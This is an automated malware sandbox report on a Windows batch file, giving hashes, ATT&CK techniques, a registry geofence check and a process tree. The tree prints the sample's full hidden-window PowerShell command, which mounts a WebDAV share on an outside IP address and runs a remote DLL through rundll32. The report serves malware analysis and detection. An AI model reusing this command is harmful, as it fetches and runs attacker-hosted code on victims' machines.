fc0b2dc495e57769f7e29ee3b71d3930b85a3ab0ad2a44c022501d2fa7101299

Resubmissions

14/07/2024, 02:46

240714-c9b92atepl 8

Analysis

max time kernel
106s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 02:46

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General

Target

14871121613120314923.bat
Size

2KB
MD5

0d08ba9e484cc158320153b3a1dc6e2d
SHA1

5419129ee86013e62865985c62b62a4ef2626ec6
SHA256

fc0b2dc495e57769f7e29ee3b71d3930b85a3ab0ad2a44c022501d2fa7101299
SHA512

4e2be27781fee03bcc5daedf440a57755f0994927a21de30812892c5e701841df492d03f09869216206c0856c86c2268d8a3e338932f1bd1bd0860d8b00d0ebb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2608	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2650514177-1034912467-4025611726-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2608	powershell.exe
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2608	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3912	wordpad.exe
3912	wordpad.exe
3912	wordpad.exe
3912	wordpad.exe
3912	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 3912	320	cmd.exe	84
PID 320 wrote to memory of 3912	320	cmd.exe	84
PID 320 wrote to memory of 2608	320	cmd.exe	87
PID 320 wrote to memory of 2608	320	cmd.exe	87
PID 2608 wrote to memory of 2140	2608	powershell.exe	89
PID 2608 wrote to memory of 2140	2608	powershell.exe	89
PID 2608 wrote to memory of 2988	2608	powershell.exe	90
PID 2608 wrote to memory of 2988	2608	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\14871121613120314923.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:320
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\118.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2140
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\118.dll,entry
    3⤵
    PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hnu51hz.jta.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2608-0-0x0000026DB1AF0000-0x0000026DB1B12000-memory.dmp

Filesize
136KB

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